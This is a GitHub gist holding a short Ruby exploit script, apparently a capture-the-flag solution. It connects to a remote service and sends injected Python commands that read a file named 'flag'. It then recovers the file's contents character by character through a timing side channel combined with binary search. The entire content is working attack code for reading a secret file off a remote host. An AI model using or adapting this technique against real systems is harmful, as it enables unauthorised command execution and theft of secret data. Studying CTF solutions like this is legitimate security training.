Last active
August 29, 2015 14:10
-
-
Save thypon/2a450e030e4f29f9d96e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
def command(cmd) | |
s = TCPSocket.new 'shmap.9447.plumbing', 9447 | |
data = s.recv(20000) | |
s.puts cmd | |
data = s.gets | |
s.close # close socket when done | |
data.split[1].to_i | |
end | |
def binsearch(index, start, ending) | |
if start >= ending | |
return start | |
else | |
mid = start + ((ending - start) / 2).to_i | |
ret = command "python -c \"import time; f=open('flag','r').read(); time.sleep(2) if ord(f[#{index}]) == #{mid} else time.sleep(1) if ord(f[#{index}]) > #{mid} else time.sleep(0);\"" | |
return case ret | |
when 2 then mid | |
when 1 then binsearch(index, mid, ending) | |
when 0 then binsearch(index, start, mid) | |
end | |
end | |
end | |
ARGV[0].to_i.upto(ARGV[1].to_i) do |i| | |
int = binsearch(i, 0, 128) | |
begin | |
print int.chr | |
rescue | |
int = binsearch(i, 0, 128) | |
begin | |
print int.chr | |
rescue | |
print '@' | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment